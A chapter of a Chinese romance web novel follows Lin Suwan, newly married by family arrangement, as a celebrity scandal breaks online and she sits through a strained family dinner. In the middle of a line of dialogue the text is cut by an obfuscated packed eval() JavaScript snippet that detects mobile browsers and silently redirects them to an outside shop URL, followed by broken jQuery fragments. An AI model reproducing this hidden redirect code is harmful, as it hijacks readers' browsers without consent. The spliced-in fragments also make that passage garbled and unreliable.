《别淋雨》
文/温昔
2026.06.30
你回头看。
他站在你的十七岁。
/
01
五月的最后一个周日，又下雨了。
雨水如注，肆意地侵袭地面。
林宿宛坐在陌生的办公室，安静看雨。
办公室的门被敲人从外敲响时，她正对着窗外的景色发呆。
“请进。”
“林总，”一个穿黑色西服套装的男人拿着摞很厚的文件走进来，恭敬道，“这些是需要您签字的文件。”
林宿宛点点头，用了半分钟消化好自己的新title。
她平静的目光在文件上轻扫过，拿起一旁的黑色钢笔。
“我爸在公司吗？”签字的空隙，林宿宛问站在办公桌前的林诚易的助理。
助理颔首，说在：“林董在会客室见客户。”
“知道了，谢谢。”
等对方拿上文件离开，林宿宛整理好东西，跟着走了出去。
她先去了三楼食堂，准备先找点食物填饱肚子。
虽然是周末，但加班的人很多，食堂大部分窗口都开着。
林宿宛走到最西侧的窗口前，要了一份套餐。
“真的是顾荞，我确定我没看错！”
等她在靠窗的位置坐下，隔着一扇镂空的木栅栏，无意中听到隔壁桌几个女孩的谈话。
“比电视里还好看，虽然眼睛是肿的，但神颜就是神颜。”
“她怎么会亲自来公司？”
“应该是被经纪人押过来的，这次的新闻闹太大了……”
顾荞——流量正盛的当红小花，星林传媒的签约艺人。
林宿宛一个不关注娱乐圈的人，都无数次听过她的名字。
“我听我朋友讲，她是因为失恋了才做那些事。”
“其实也不是什么大事啊，这个世界对女生还敢再苛刻一点吗？”
林宿宛为了给自己解惑，把卸载很久的微博再次装了回来。
#顾荞室内抽烟#
#顾荞深夜买醉#
#顾荞道歉#
#顾荞失恋#
#……#
林宿宛随意点进一个词条，在微博智搜上了解事件经过：昨晚，顾荞被拍到在一家私房餐厅的包厢里喝酒抽烟，动作看上去很熟练。
【不是不允许公众人物喝酒抽烟，只是能别一边立“清纯小白花”的人设，一边做这些吗？割裂感太强了。】
【这一看就不是新手啊，表面上的“纯情小白花”，私下里其实烟酒都来。】
【私人时间，私人场合，私人聚会，支持女明星行为自由。】
【给楼上的科普一下，“女明星”违反《延陵市控制吸烟条例》中“公共场所室内禁烟”的规定了噢，要交罚款的。】
【那也比你家哥哥不能一个人睡觉强……】
“……”
评论区分成了N个派别，吵得火热。
林宿宛还在浏览评论，屏幕上方又弹出新的推送。
#顾荞回复粉丝#
【宝宝，真的是因为失恋了吗？抱抱你。】
顾荞V回复：【不是因为失恋，这个世界上还没有哪个男的值得我买醉。】
顾荞今天退圈了吗：【有意思，这边风波还没平呢，那边又给自己立上“大女主”人设了。】
五分钟后，#顾荞新人设#飙升到热搜第一。
*
“姑奶奶，你是觉得这件事闹得还不够大吗？在热搜上挂一天了，花钱都降不下来。”
“我不过是说了实话。”
“实话就可以不分时间不分场合说吗？”张沁睨了坐在沙发上满脸无所谓的人，一把夺过她的手机，“风波过去之前，你所有社交平台的账号都归公司管。”
话音刚落地，张沁的手机便再次开始震动，她稍稍喘口气，拿着手机走出会议室。
“没有谈恋爱，也没有失恋，网上那些都是无端的猜测。”
“公关方案已经做好了，一会儿会再次道歉。您也知道，网友的记忆力是有时限的，风波早晚会过去。”
“这您放心，这两年正上升期，她事业心很强，不会谈恋爱的。”
“什么姓江的？我没听过这个名字啊，您在哪看的？”
“稍等，我看一下。”
十分钟后。
“嗯，我不瞒您，确实有这么个人，但那都是很久之前的事了，没有人会那么长情的，这是现实生活，又不是演科幻片……”
林宿宛在去林诚易办公室的途中刷到了一条爆料博。
朝阳区热心群众：【GQ失恋这事是真的，因为，就在昨晚，高中校友群里99%的女生都失恋了。】
【私信太多，给大家统一回复下：GQ有个喜欢很多年的人，前段时间结婚了，昨晚全平台官宣的。】
【这人为什么看不上GQ？首先，我不评论女孩子，其次——】
【其次那可是JYY啊！！】
【不是金、姜、贾、蒋、纪、季、靳、鞠、简……是江。】
【多的不方便说，就希望GQ早点向前看吧。谁让JYY是地球上不存在的男人呢，别说GQ了，我一男的都想嫁……】
捕捉到不算陌生的姓氏，林宿宛搭在手机屏幕上的手微滞。
顿了片刻，准备再看清楚些，发现原博被删除了。
她有个喜欢很多年的人吗？
我都不知道。
走出电梯那刻，林宿宛想，这是不是就是长大的代价。
林诚易签完文件，一抬头看到了站在办公室门口的林宿宛，亲昵道：“快到爸爸身边来。”
林宿宛熄灭手机屏幕，往办公桌前走：“您找我。”
林诚易嗯了声，从抽屉里取出一个礼盒：“你阿姨让我给你的，新婚礼物。”
听到这句话，林宿宛对自己身份的转变第一次有实感。
抛开快不快乐不谈，她结婚了，这是再也无法更改的事实。
林宿宛接过那个烫金盒子，道了声谢。
“一会儿有时间吗？”男人用一如既往和善的语气说，“回你爷爷奶奶那吃顿饭。”
林宿宛还没回答，又听到他说：“喊上小江一起。”
小江，全名江一屿，一个——他爸千挑万选、必须得有一个女儿嫁给他的“优质男性”。
“我没有他的联系方式，”林宿宛坦诚道，“没法喊。”
“……”
花了五分钟，林诚易消化好自己女儿女婿连彼此的联系方式都没有的这一残酷现实。
他轻叹口气，说：“那爸爸和他联系。”
林宿宛到一旁的会客沙发上坐下，对着窗外的雨发呆。
她听力很好。
除了淅淅沥沥的雨声，还听到手机那端的人说“在出差”“抱歉”“下次一定”。
拒绝的话被那人说得格外礼貌真诚，以至于电话挂断时，林诚易还沉浸在这种“真诚”中：“早知道换个时间了，爸爸原本还打算和他喝两杯。”
他酒量很差，沾酒就醉。
脑海里下意识涌出这个回答，林宿宛眉头深蹙。
她是疯了还是疯了还是疯了。
她都不算认识那人，和他说的话不超过十句，怎么可能知道他的酒量。
林宿宛晃晃脑袋，只当自己被这连绵不断的雨下得痴呆。
她不喜欢下雨。
阴寒、潮湿、空落，平日里被太阳遮盖的情绪总在潮湿里尽显。
林诚易给司机提前下了班，自己开车载林宿宛回老宅。
路上，他有意展示父爱，告诉林宿宛除了之前答应给她的那笔钱，会额外加一百做陪嫁。
林宿宛点点头，语气真诚：“谢谢。”
林诚易闻言侧身，酸涩道：“和爸爸不用这么客气。”
林宿宛低嗯一声，没有说多余的话。
车子抵达别墅区时，院子里的灯都亮着。
林宿宛拿上礼物下车，在客厅里看到很多人。
她的爷爷奶奶、她爸的现任妻子、她爸和现任妻子的一双儿女。
听到动静，大家止住欢笑，目光转向她。
“回来了。”郑伊率先起身打破沉默，语气温和，“洗洗手吃饭吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721545|208684||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
吃饭要保持安静，是郑伊之前定下的规矩。
林宿宛没想到，将近十年过去了，这个规矩还在。
饭桌上，林宿宛把林诚易盛给她的海鲜粥推到一旁，只夹离她最近的一道青菜。
保温效果太好，所有食物都是烫的，除了那道青菜。
一顿饭吃了将近一个小时。
饭后，郑伊组织大家去客厅聊天。
“刚回延陵，还适应吗？”郑伊给林宿宛泡茶，只是还没把杯子递过去，就被身旁的小女儿夺走。
“杯子放下，待客之道呢？”她语气严厉，不容置疑。
林渝宜并不怕她妈妈，冷哼了声，不满道：“凭什么所有好东西都要先给她！”
郑伊冷声问：“谁教你的？这么没礼貌。”
“我爸教的……”林渝宜很想把杯子直接摔掉，但考虑到郑伊在来之前交代她的话，收敛了一些。她把杯子放到桌上，但因为带着怨气，力度不算小，“偏心！”
四处喷溅的热水恰好落在了林宿宛身上。
对上大家试探的目光，林宿宛神情平静。她把倾倒的茶杯摆正，先回答了郑伊的问题：“还算适应。”接着淡声道，“我去洗手间处理一下。”
“她是你姐姐，你怎么能这么说话？”
“她不是我姐，我姐不会抢我东西！”
“林渝宜。”
“好了好了，小孩子说话直了点，没有坏心思……”
洗手间的门被关上，客厅里的喧嚣跟着消失。
林宿宛拧开水龙头，把手放到水池下，安静地冲着。
十分钟后，门被敲响，林宿宛把衣袖往下拉了拉，往门口走。
“烫到了吗？”林诚易往她胳膊上看，发现她遮得很严实，什么都看不到。
林宿宛摇摇头，止住他的欲言又止：“没事，回去吧。”
之后的场面平和很多，林宿宛坐在一张独立的沙发上，接受大家的问候和关心。
聊到她的人生大事，郑伊说：“小江是个很不错的人，我和你爸把过关的。”
林诚易温和补充：“人好，家世也清白，没有那些乱七八糟的事，你嫁过去不会吃苦。”
“什么时候带来给我们见见？”沉默了一晚上的林老爷子加入这场谈话，说，“结婚毕竟是人生大事，我和你奶奶至少得知道对方是个什么样的人。”
“他不会来的。”林渝宜被郑伊批评后，收敛了些，但也仅仅是一些。她抬眸睨了林宿宛一眼，看她没反应，又冷哼了声，大声道，“他最讨厌这种场合了。再说了，商业联姻而已，又没感情，他要真愿意的话，今晚就算是在外太空，也能赶回来参加这个饭局。”
“这可是我姐结婚后的第一次家宴呢。”林渝宜把重音放在“我姐”和“第一次”上，生怕别人听不出自己的阴阳怪气。
林诚易看了小女儿一眼，想说些什么，但最终还是没说。
倒是窝在沙发上打游戏的林渝泽接了话：“阿屿哥最近都在北疆拍片子，赶不回来不是很正常。”
对上林渝宜不满的目光，他垂下头：“我们回家吧爸、妈，我明天还有早八呢。”
林诚易依然充当司机的角色，只是和来时不同，副驾坐的是他的现任妻子。
林渝宜把林渝泽拽到后排，正和他清算刚才的账：“到底谁是你亲姐？”
林渝泽不耐：“你你你，行了吧……”
林诚易轻咳一声，隔着副驾驶和一扇车窗同站在车边的林宿宛交代：“一会儿让李叔送你。”
“嗯。”
“或者……”
林宿宛从没等到过林诚易“或者”后的下文，这次也不例外。她弯了下唇，淡淡道：“您开车慢点。”
她往一旁挪了几步，给车子让道。
和预想不同的是，在林诚易的车启动前，先有一道鸣笛声在院子里响起。
林宿宛循声往远处望，看到一辆黑色越野正往院子里开。
远光灯亮着，她不自觉地揉了下眼。
很快，刺眼的灯光熄灭，车子缓缓停下。
车窗半降，她猝不及防地对上了一双漫不经心的桃花眼。